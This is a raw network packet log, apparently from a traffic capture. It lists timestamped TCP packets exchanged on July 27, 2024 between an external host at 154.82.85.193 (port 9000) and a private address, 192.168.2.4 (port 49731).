Jul 27, 2024 16:57:42.793227911 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:42.793240070 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:42.793250084 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:42.793260098 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:42.793271065 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:42.793287039 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:42.793332100 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:42.793957949 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:42.794176102 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:42.794239998 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:43.006604910 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:43.006620884 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:43.006630898 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:43.006640911 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:43.006665945 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:43.006674051 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:43.006683111 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:43.006691933 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:43.006700039 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:43.006709099 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:43.006717920 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:43.006726027 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:43.006736040 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:43.006745100 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:43.006755114 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:43.006753922 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:43.006769896 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:43.006782055 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:43.006791115 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:43.006800890 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:43.006809950 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:43.006835938 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:43.006863117 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:43.006872892 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:43.006881952 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:43.006891012 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:43.006892920 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:43.006902933 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:43.006911993 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:43.006922960 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:43.006932974 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:43.006938934 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:43.006998062 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:43.007143021 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:43.007179022 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:43.007189035 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:43.007225990 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:43.007261038 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:43.007275105 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:43.007283926 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:43.007293940 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:43.007312059 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:43.007337093 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:43.008155107 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:43.008172989 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:43.008182049 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:43.008192062 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:43.008202076 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:43.008204937 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:43.008215904 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:43.008219957 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:43.008225918 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:43.008253098 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:43.008280993 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:43.219084024 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:43.219610929 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:43.219656944 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:43.219713926 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:43.219748974 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:43.219783068 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:43.219803095 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:43.219803095 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:43.219816923 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:43.219867945 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:43.219868898 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:43.219903946 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:43.219924927 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:43.219937086 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:43.219969988 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:43.220000982 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:43.220004082 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:43.220038891 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:43.220053911 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:43.220071077 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:43.220107079 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:43.220134020 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:43.220139980 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:43.220177889 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:43.220192909 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:43.220211029 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:43.220244884 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:43.220268965 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:43.220278025 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:43.220312119 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:43.220330000 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:43.220345020 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:43.220379114 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:43.220401049 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:43.220411062 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:43.220444918 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:43.220459938 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:43.220479012 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:43.220544100 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:43.220561981 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:43.220609903 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:43.220643044 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:43.220680952 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:43.220695019 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:43.220727921 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:43.220757008 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:43.220778942 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:43.220813036 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:43.220832109 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:43.220853090 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:43.220885992 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:43.220910072 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:43.220920086 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:43.220952988 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:43.220977068 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:43.220987082 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:43.221020937 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:43.221043110 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:43.221057892 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:43.221111059 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:43.221672058 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:43.221709013 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:43.221761942 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:43.221779108 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:43.221796036 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:43.221852064 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:43.221853971 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:43.221887112 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:43.221921921 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:43.221940994 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:43.221956015 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:43.221990108 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:43.222009897 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:43.222023010 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:43.222058058 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:43.222079992 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:43.222099066 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:43.222137928 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:43.222155094 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:43.222580910 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:43.222615004 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:43.222637892 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:43.222651958 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:43.222696066 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:43.222707987 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:43.276348114 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:43.311850071 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:43.354233980 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:43.433653116 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:43.433708906 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:43.433744907 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:43.433777094 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:43.433811903 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:43.433847904 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:43.433923006 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:43.433974981 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:43.433996916 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:43.433996916 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:43.433996916 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:43.434009075 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:43.434045076 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:43.434063911 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:43.434078932 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:43.434097052 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:43.434115887 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:43.434149981 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:43.434182882 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:43.434215069 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:43.434247971 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:43.434282064 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:43.434317112 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:43.434319973 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:43.434319973 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:43.434319973 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:43.434350967 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:43.434386015 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:43.434389114 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:43.434420109 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:43.434447050 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:43.434452057 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:43.434485912 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:43.434520960 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:43.434554100 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:43.434590101 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:43.434623957 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:43.434689999 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:43.434690952 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:43.434690952 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:43.434976101 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:43.435028076 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:43.435036898 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:43.435081005 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:43.435112953 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:43.435134888 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:43.435148001 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:43.435182095 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:43.435204029 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:43.435216904 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:43.435249090 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:43.435271025 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:43.435283899 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:43.435316086 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:43.435340881 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:43.435350895 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:43.435384035 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:43.435405970 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:43.435420036 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:43.435456991 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:43.435473919 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:43.435539961 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:43.435575008 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:43.435597897 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:43.435642004 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:43.435693979 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:43.435726881 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:43.435776949 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:43.435810089 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:43.435839891 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:43.435839891 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:43.435861111 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:43.435875893 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:43.435897112 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:43.435930967 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:43.435952902 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:43.435962915 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:43.436007023 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:43.436026096 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:43.436758041 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:43.436821938 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:43.436826944 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:43.436863899 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:43.436897993 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:43.436919928 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:43.436933041 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:43.436966896 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:43.436988115 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:43.437002897 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:43.437036991 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:43.437056065 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:43.437071085 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:43.437103987 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:43.437119961 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:43.437138081 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:43.437171936 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:43.437191963 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:43.437210083 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:43.437268019 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:43.438311100 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:43.438345909 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:43.438379049 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:43.438411951 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:43.438414097 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:43.438448906 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:43.438467979 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:43.479398966 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:43.846077919 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:43.846200943 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:43.846236944 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:43.846271038 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:43.846288919 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:43.846287012 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:43.846304893 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:43.846339941 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:43.846358061 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:43.846384048 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:43.846401930 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:43.846436024 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:43.846438885 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:43.846474886 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:43.846508026 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:43.846527100 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:43.846544027 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:43.846577883 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:43.846605062 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:43.846616030 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:43.846651077 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:43.846683025 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:43.846689939 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:43.846715927 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:43.846730947 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:43.846749067 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:43.846781015 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:43.846805096 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:43.846813917 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:43.846847057 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:43.846867085 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:43.846880913 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:43.846913099 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:43.846934080 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:43.846946001 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:43.846980095 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:43.847012043 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:43.847021103 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:43.847047091 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:43.847070932 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:43.847079039 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:43.847110987 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:43.847129107 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:43.847143888 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:43.847161055 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:43.847201109 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:43.847227097 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:43.847260952 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:43.847287893 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:43.847311020 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:43.847346067 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:43.847368002 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:43.847378969 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:43.847413063 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:43.847433090 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:43.847449064 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:43.847481012 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:43.847507954 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:43.847518921 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:43.847551107 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:43.847574949 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:43.847584009 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:43.847616911 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:43.847637892 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:43.847651005 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:43.847682953 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:43.847702026 CEST	49731	9000	192.168.2.4	154.82.85.193
